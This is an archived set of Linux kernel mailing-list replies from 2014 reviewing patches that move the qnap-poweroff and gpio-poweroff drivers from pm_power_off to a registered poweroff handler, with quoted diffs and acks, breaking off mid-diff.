Xref: news.gmane.org gmane.linux.ports.hexagon:829 gmane.linux.kernel:1802877 gmane.linux.ports.mips.general:44208 gmane.linux.kernel.efi:4770 gmane.linux.ports.ia64:24518 gmane.linux.kernel.virtualization.lguest:1497 gmane.linux.ports.sh.devel:39846 gmane.linux.acpi.devel:71320 gmane.linux.drivers.devicetree:93190 gmane.linux.uml.devel:14702 gmane.linux.power-management.general:50672 gmane.linux.ports.tegra:19513 gmane.linux.kernel.openipmi:2488 gmane.linux.kernel.metag:349 gmane.linux.ports.arm.kernel:362529 gmane.linux.ports.parisc:6124 gmane.linux.ports.alpha:2482 gmane.linux.ports.ppc64.devel:105945
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/829>

On Mon, Oct 06, 2014 at 10:28:09PM -0700, Guenter Roeck wrote:
> Replace reference to pm_power_off (which is an implementation detail)
> and replace it with a more generic description of the driver's functionality.

Acked-by: Andrew Lunn <andrew@lunn.ch>

Thanks
	Andrew

> 
> Cc: Rob Herring <robh+dt@kernel.org>
> Cc: Pawel Moll <pawel.moll@arm.com>
> Cc: Mark Rutland <mark.rutland@arm.com>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
>  Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt | 4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
> 
> diff --git a/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt b/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt
> index af25e77..1e2260a 100644
> --- a/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt
> +++ b/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt
> @@ -3,8 +3,8 @@
>  QNAP NAS devices have a microcontroller controlling the main power
>  supply. This microcontroller is connected to UART1 of the Kirkwood and
>  Orion5x SoCs. Sending the character 'A', at 19200 baud, tells the
> -microcontroller to turn the power off. This driver adds a handler to
> -pm_power_off which is called to turn the power off.
> +microcontroller to turn the power off. This driver installs a handler
> +to power off the system.
>  
>  Synology NAS devices use a similar scheme, but a different baud rate,
>  9600, and a different character, '1'.
> -- 
> 1.9.1
> 
> 
> _______________________________________________
> linux-arm-kernel mailing list
> linux-arm-kernel@lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/linux-arm-kernel

From - Thu Nov 08 21:10:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 07/44] qnap-poweroff: Drop reference to pm_power_off from
 devicetree bindings
Date: Tue, 7 Oct 2014 08:57:13 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20141007155713.GB28835@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-8-git-send-email-linux@roeck-us.net>
 <20141007110219.GE24725@leverpostej>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412697455 26838 80.91.229.3 (7 Oct 2014 15:57:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 15:57:35 +0000 (UTC)
Cc: "linux-m32r-ja@ml.linux-m32r.org" <linux-m32r-ja@ml.linux-m32r.org>,
 "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
 "linux-m68k@vger.kernel.org" <linux-m68k@vger.kernel.org>,
 "linux-efi@vger.kernel.org" <linux-efi@vger.kernel.org>,
 "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
 "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
 "devel@driverdev.osuosl.org" <devel@driverdev.osuosl.org>,
 "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
 "lguest@lists.ozlabs.org" <lguest@lists.ozlabs.org>,
 "linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
 "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
 "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
 "linux-acpi@vger.kernel.org" <linux-acpi@vger.kernel.org>,
 Pawel Moll <Pawel.Moll@arm.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 "dev
To: Mark Rutland <mark.rutland@arm.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Tue Oct 07 17:57:26 2014
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from fraxinus.osuosl.org ([140.211.166.137])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1XbX8f-00016f-KF
	for glddd-devel@m.gmane.org; Tue, 07 Oct 2014 17:57:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 18796A2282;
	Tue,  7 Oct 2014 15:57:24 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id znJEO1h_daqr; Tue,  7 Oct 2014 15:57:23 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 56ABBA227E;
	Tue,  7 Oct 2014 15:57:23 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from whitealder.osuosl.org (whitealder.osuosl.org [140.211.166.138])
 by ash.osuosl.org (Postfix) with ESMTP id 36D261BFA17
 for <devel@linuxdriverproject.org>; Tue,  7 Oct 2014 15:57:22 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by whitealder.osuosl.org (Postfix) with ESMTP id 3126492460
 for <devel@linuxdriverproject.org>; Tue,  7 Oct 2014 15:57:22 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from whitealder.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id pr6j06EuFOPv for <devel@linuxdriverproject.org>;
 Tue,  7 Oct 2014 15:57:21 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-pd0-f182.google.com (mail-pd0-f182.google.com
 [209.85.192.182])
 by whitealder.osuosl.org (Postfix) with ESMTPS id 752C79245F
 for <devel@driverdev.osuosl.org>; Tue,  7 Oct 2014 15:57:21 +0000 (UTC)
Original-Received: by mail-pd0-f182.google.com with SMTP id y10so5316233pdj.27
 for <devel@driverdev.osuosl.org>; Tue, 07 Oct 2014 08:57:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
 h=sender:date:from:to:cc:subject:message-id:references:mime-version
 :content-type:content-disposition:in-reply-to:user-agent;
 bh=Xr0U305NZNu1jEhASBP2S+O75TsoF7hcm4FYGKl/giU=;
 b=hitoM7CVjev8yr/7o/xzVIZsAmrO9Cupb5Uon4BVV0IP5La7ORP6cGJ4GfyWxETgXP
 rixGA94/IuOn7Uk5st93kVyNPfR3r2MEE4Oy7MaX4qWbeXRIWrQq2KdZksNtfGJ0PnAb
 7Ys6N2i1LOSu04cHtYtI28i82Zxj2Nj6K+je/o8OoOdMW6WcksETQXpNoBKxRbLtAE2l
 LM/HzQx8yABTS2zw2egXqyisjXfzcqDRjZCIIFUO49H/7mkPzDPwqYTYk+uTT8FTS09z
 rayQaL0JdSGw5CpFS8JIxn7LLEbd55fX7aglX3Y9kaQ36XBtx4zZVTFiV5ZQQwzG54Bx
 feIQ==
X-Received: by 10.68.65.74 with SMTP id v10mr4455613pbs.72.1412697441188;
 Tue, 07 Oct 2014 08:57:21 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net.
 [108.223.40.66])
 by mx.google.com with ESMTPSA id qj2sm16289341pbc.78.2014.10.07.08.57.20
 for <multiple recipients>
 (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
 Tue, 07 Oct 2014 08:57:20 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20141007110219.GE24725@leverpostej>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:58575 gmane.linux.ports.mips.general:44209 gmane.linux.ports.m68k:6262 gmane.linux.kernel.efi:4771 gmane.linux.ports.ia64:24519 gmane.linux.kernel.virtualization.lguest:1498 gmane.linux.ports.hexagon:830 gmane.linux.ports.sh.devel:39847 gmane.linux.acpi.devel:71321 gmane.linux.drivers.devicetree:93191 gmane.linux.uml.devel:14703 gmane.linux.power-management.general:50673 gmane.linux.ports.tegra:19514 gmane.linux.kernel.openipmi:2489 gmane.linux.kernel.metag:350 gmane.linux.ports.arm.kernel:362531 gmane.linux.ports.parisc:6125 gmane.linux.kernel:1802883 gmane.linux.ports.alpha:2483 gmane.linux.ports.ppc64.devel:105946
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/58575>

On Tue, Oct 07, 2014 at 12:02:19PM +0100, Mark Rutland wrote:
> On Tue, Oct 07, 2014 at 06:28:09AM +0100, Guenter Roeck wrote:
> > Replace reference to pm_power_off (which is an implementation detail)
> > and replace it with a more generic description of the driver's functionality.
> > 
> > Cc: Rob Herring <robh+dt@kernel.org>
> > Cc: Pawel Moll <pawel.moll@arm.com>
> > Cc: Mark Rutland <mark.rutland@arm.com>
> > Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> > ---
> >  Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt | 4 ++--
> >  1 file changed, 2 insertions(+), 2 deletions(-)
> > 
> > diff --git a/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt b/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt
> > index af25e77..1e2260a 100644
> > --- a/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt
> > +++ b/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt
> > @@ -3,8 +3,8 @@
> >  QNAP NAS devices have a microcontroller controlling the main power
> >  supply. This microcontroller is connected to UART1 of the Kirkwood and
> >  Orion5x SoCs. Sending the character 'A', at 19200 baud, tells the
> > -microcontroller to turn the power off. This driver adds a handler to
> > -pm_power_off which is called to turn the power off.
> > +microcontroller to turn the power off. This driver installs a handler
> > +to power off the system.
> 
> I'd remove the last sentence -- the driver is also independent of the
> HW, and the description of how the power off works at the HW level is
> sufficient.
> 
Done.

> With that:
> 
> Acked-by: Mark Rutland <mark.rutland@arm.com>
> 
Thanks!

Guenter

From - Thu Nov 08 21:10:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Lunn <andrew@lunn.ch>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 21/44] power/reset: gpio-poweroff: Register with kernel
 poweroff handler
Date: Tue, 7 Oct 2014 18:00:56 +0200
Lines: 122
Approved: news@gmane.org
Message-ID: <20141007160056.GC19005@lunn.ch>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-22-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412697699 30137 80.91.229.3 (7 Oct 2014 16:01:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 16:01:39 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-efi@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	devel@driverdev.osuosl.org, linux-s390@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-c6x-dev@linux-c6x.org,
	Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>,
	linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org,
	linux-acpi@vger.kernel.org, xen-devel@lists.xenproject.org,
	devicetree@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-pm@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-tegra@vger.kernel.org,
	openipmi-developer@lists.sourceforge.net,
	linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-parisc@vger.kernel.org, linux-cris-kernel@axis.com,
	David Woodhouse <dwmw2@infrad
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-hexagon-owner@vger.kernel.org Tue Oct 07 18:01:31 2014
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1XbXCc-0003h9-D3
	for glphk-linux-hexagon@plane.gmane.org; Tue, 07 Oct 2014 18:01:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753984AbaJGQB3 (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
	Tue, 7 Oct 2014 12:01:29 -0400
Original-Received: from vps0.lunn.ch ([178.209.37.122]:35857 "EHLO vps0.lunn.ch"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753921AbaJGQB1 (ORCPT <rfc822;linux-hexagon@vger.kernel.org>);
	Tue, 7 Oct 2014 12:01:27 -0400
Original-Received: from lunn by vps0.lunn.ch with local (Exim 4.80)
	(envelope-from <andrew@lunn.ch>)
	id 1XbXC4-00051d-W1; Tue, 07 Oct 2014 18:00:56 +0200
Content-Disposition: inline
In-Reply-To: <1412659726-29957-22-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:831 gmane.linux.kernel:1802884 gmane.linux.ports.mips.general:44210 gmane.linux.kernel.efi:4772 gmane.linux.ports.ia64:24520 gmane.linux.kernel.virtualization.lguest:1499 gmane.linux.ports.sh.devel:39848 gmane.linux.acpi.devel:71322 gmane.linux.drivers.devicetree:93192 gmane.linux.uml.devel:14704 gmane.linux.power-management.general:50674 gmane.linux.ports.tegra:19515 gmane.linux.kernel.openipmi:2490 gmane.linux.kernel.metag:351 gmane.linux.ports.arm.kernel:362532 gmane.linux.ports.parisc:6126 gmane.linux.ports.alpha:2484 gmane.linux.ports.ppc64.devel:105947
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/831>

On Mon, Oct 06, 2014 at 10:28:23PM -0700, Guenter Roeck wrote:
> Register with kernel poweroff handler instead of setting pm_power_off
> directly. Register with a low priority value of 64 to reflect that
> the original code only sets pm_power_off if it was not already set.
> 
> Other changes:
> 
> Drop note that there can not be an additional instance of this driver.
> The original reason no longer applies, it should be obvious that there
> can only be one instance of the driver if static variables are used to
> reflect its state, and support for multiple instances can now be added
> easily if needed by avoiding static variables.
> 
> Do not create an error message if another poweroff handler has already been
> registered. This is perfectly normal and acceptable.
> 
> Do not display a warning traceback if the poweroff handler fails to
> power off the system. There may be other poweroff handlers.

I would prefer to keep the warning traceback. We found on some
hardware the GPIO transitions were too fast and it failed to power
off. Seeing the traceback gives an idea where to go look for the
problem.

Other than that,

Acked-by: Andrew Lunn <andrew@lunn.ch>

> 
> Cc: Sebastian Reichel <sre@kernel.org>
> Cc: Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>
> Cc: David Woodhouse <dwmw2@infradead.org>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
>  drivers/power/reset/gpio-poweroff.c | 36 ++++++++++++++++++------------------
>  1 file changed, 18 insertions(+), 18 deletions(-)
> 
> diff --git a/drivers/power/reset/gpio-poweroff.c b/drivers/power/reset/gpio-poweroff.c
> index ce849bc..e95a7a1 100644
> --- a/drivers/power/reset/gpio-poweroff.c
> +++ b/drivers/power/reset/gpio-poweroff.c
> @@ -14,18 +14,18 @@
>  #include <linux/kernel.h>
>  #include <linux/init.h>
>  #include <linux/delay.h>
> +#include <linux/notifier.h>
> +#include <linux/pm.h>
>  #include <linux/platform_device.h>
>  #include <linux/gpio/consumer.h>
>  #include <linux/of_platform.h>
>  #include <linux/module.h>
>  
> -/*
> - * Hold configuration here, cannot be more than one instance of the driver
> - * since pm_power_off itself is global.
> - */
>  static struct gpio_desc *reset_gpio;
>  
> -static void gpio_poweroff_do_poweroff(void)
> +static int gpio_poweroff_do_poweroff(struct notifier_block *this,
> +				     unsigned long unused1, void *unused2)
> +
>  {
>  	BUG_ON(!reset_gpio);
>  
> @@ -42,20 +42,18 @@ static void gpio_poweroff_do_poweroff(void)
>  	/* give it some time */
>  	mdelay(3000);
>  
> -	WARN_ON(1);
> +	return NOTIFY_DONE;
>  }
>  
> +static struct notifier_block gpio_poweroff_nb = {
> +	.notifier_call = gpio_poweroff_do_poweroff,
> +	.priority = 64,
> +};
> +
>  static int gpio_poweroff_probe(struct platform_device *pdev)
>  {
>  	bool input = false;
> -
> -	/* If a pm_power_off function has already been added, leave it alone */
> -	if (pm_power_off != NULL) {
> -		dev_err(&pdev->dev,
> -			"%s: pm_power_off function already registered",
> -		       __func__);
> -		return -EBUSY;
> -	}
> +	int err;
>  
>  	reset_gpio = devm_gpiod_get(&pdev->dev, NULL);
>  	if (IS_ERR(reset_gpio))
> @@ -77,14 +75,16 @@ static int gpio_poweroff_probe(struct platform_device *pdev)
>  		}
>  	}
>  
> -	pm_power_off = &gpio_poweroff_do_poweroff;
> -	return 0;
> +	err = register_poweroff_handler(&gpio_poweroff_nb);
> +	if (err)
> +		dev_err(&pdev->dev, "Failed to register poweroff handler\n");
> +
> +	return err;
>  }
>  
>  static int gpio_poweroff_remove(struct platform_device *pdev)
>  {
> -	if (pm_power_off == &gpio_poweroff_do_poweroff)
> -		pm_power_off = NULL;
> +	unregister_poweroff_handler(&gpio_poweroff_nb);
>  
>  	return 0;
>  }
> -- 
> 1.9.1
> 
> 
> _______________________________________________
> linux-arm-kernel mailing list
> linux-arm-kernel@lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/linux-arm-kernel

From - Thu Nov 08 21:10:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Lunn <andrew@lunn.ch>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.acpi.devel,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [PATCH 23/44] power/reset: qnap-poweroff: Register with kernel
 poweroff handler
Date: Tue, 7 Oct 2014 18:02:08 +0200
Lines: 100
Approved: news@gmane.org
Message-ID: <20141007160208.GD19005@lunn.ch>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-24-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412697763 30996 80.91.229.3 (7 Oct 2014 16:02:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 16:02:43 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
 linux-efi@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, Sebastian Reichel <sre@kernel.org>,
 devicetree@vger.kernel.org, devel@driverdev.osuosl.org,
 linux-s390@vger.kernel.org, lguest@lists.ozlabs.org,
 linux-c6x-dev@linux-c6x.org, Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>,
 linux-hexagon@vger.kernel.org, linux-acpi@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-xtensa@linux-xtensa.org,
 user-mode-linux-devel@lists.sourceforge.net, linux-pm@vger.kernel.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-m68k@lists.linux-m68k.org,
 linux-am33-list@redhat.com, linux-tegra@vger.kernel.org,
 openipmi-developer@lists.sourceforge.net, linux-metag@vger.kernel.org,
 linux-arm-kernel@lists.infradead.org, linux-cris-kernel@axis.com,
 linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.o
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Tue Oct 07 18:02:35 2014
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from whitealder.osuosl.org ([140.211.166.138])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1XbXDf-0004Mn-5m
	for glddd-devel@m.gmane.org; Tue, 07 Oct 2014 18:02:35 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by whitealder.osuosl.org (Postfix) with ESMTP id 67E149245A;
	Tue,  7 Oct 2014 16:02:34 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from whitealder.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id jsJHo5X27CfV; Tue,  7 Oct 2014 16:02:33 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by whitealder.osuosl.org (Postfix) with ESMTP id 1F5FB923A5;
	Tue,  7 Oct 2014 16:02:33 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from fraxinus.osuosl.org (fraxinus.osuosl.org [140.211.166.137])
 by ash.osuosl.org (Postfix) with ESMTP id F1C111BFA17
 for <devel@linuxdriverproject.org>; Tue,  7 Oct 2014 16:02:31 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by fraxinus.osuosl.org (Postfix) with ESMTP id EDA75A2274
 for <devel@linuxdriverproject.org>; Tue,  7 Oct 2014 16:02:31 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id f_VnT955hi-N for <devel@linuxdriverproject.org>;
 Tue,  7 Oct 2014 16:02:31 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from vps0.lunn.ch (vps0.lunn.ch [178.209.37.122])
 by fraxinus.osuosl.org (Postfix) with ESMTPS id 630F5A2281
 for <devel@driverdev.osuosl.org>; Tue,  7 Oct 2014 16:02:31 +0000 (UTC)
Original-Received: from lunn by vps0.lunn.ch with local (Exim 4.80)
 (envelope-from <andrew@lunn.ch>)
 id 1XbXDE-00052e-Ge; Tue, 07 Oct 2014 18:02:08 +0200
Content-Disposition: inline
In-Reply-To: <1412659726-29957-24-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:58577 gmane.linux.ports.mips.general:44211 gmane.linux.kernel.efi:4773 gmane.linux.ports.ia64:24521 gmane.linux.ports.sh.devel:39849 gmane.linux.drivers.devicetree:93193 gmane.linux.kernel.virtualization.lguest:1500 gmane.linux.ports.hexagon:832 gmane.linux.acpi.devel:71323 gmane.linux.uml.devel:14705 gmane.linux.power-management.general:50675 gmane.linux.ports.tegra:19516 gmane.linux.kernel.openipmi:2491 gmane.linux.kernel.metag:352 gmane.linux.ports.arm.kernel:362533 gmane.linux.ports.parisc:6127 gmane.linux.ports.ppc64.devel:105948 gmane.linux.kernel:1802885 gmane.linux.ports.alpha:2485
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/58577>

On Mon, Oct 06, 2014 at 10:28:25PM -0700, Guenter Roeck wrote:
> Register with kernel poweroff handler instead of setting pm_power_off
> directly. Register with default priority value of 128 to reflect that
> the original code generates an error if another poweroff handler has
> already been registered when the driver is loaded.
> 
> Cc: Sebastian Reichel <sre@kernel.org>
> Cc: Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>
> Cc: David Woodhouse <dwmw2@infradead.org>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>

Acked-by: Andrew Lunn <andrew@lunn.ch>

Thanks
	Andrew

> ---
>  drivers/power/reset/qnap-poweroff.c | 28 ++++++++++++++--------------
>  1 file changed, 14 insertions(+), 14 deletions(-)
> 
> diff --git a/drivers/power/reset/qnap-poweroff.c b/drivers/power/reset/qnap-poweroff.c
> index a75db7f..c474980 100644
> --- a/drivers/power/reset/qnap-poweroff.c
> +++ b/drivers/power/reset/qnap-poweroff.c
> @@ -16,7 +16,9 @@
>  
>  #include <linux/kernel.h>
>  #include <linux/module.h>
> +#include <linux/notifier.h>
>  #include <linux/platform_device.h>
> +#include <linux/pm.h>
>  #include <linux/serial_reg.h>
>  #include <linux/kallsyms.h>
>  #include <linux/of.h>
> @@ -55,7 +57,8 @@ static void __iomem *base;
>  static unsigned long tclk;
>  static const struct power_off_cfg *cfg;
>  
> -static void qnap_power_off(void)
> +static int qnap_power_off(struct notifier_block *this, unsigned long unused1,
> +			  void *unused2)
>  {
>  	const unsigned divisor = ((tclk + (8 * cfg->baud)) / (16 * cfg->baud));
>  
> @@ -72,14 +75,20 @@ static void qnap_power_off(void)
>  
>  	/* send the power-off command to PIC */
>  	writel(cfg->cmd, UART1_REG(TX));
> +
> +	return NOTIFY_DONE;
>  }
>  
> +static struct notifier_block qnap_poweroff_nb = {
> +	.notifier_call = qnap_power_off,
> +	.priority = 128,
> +};
> +
>  static int qnap_power_off_probe(struct platform_device *pdev)
>  {
>  	struct device_node *np = pdev->dev.of_node;
>  	struct resource *res;
>  	struct clk *clk;
> -	char symname[KSYM_NAME_LEN];
>  
>  	const struct of_device_id *match =
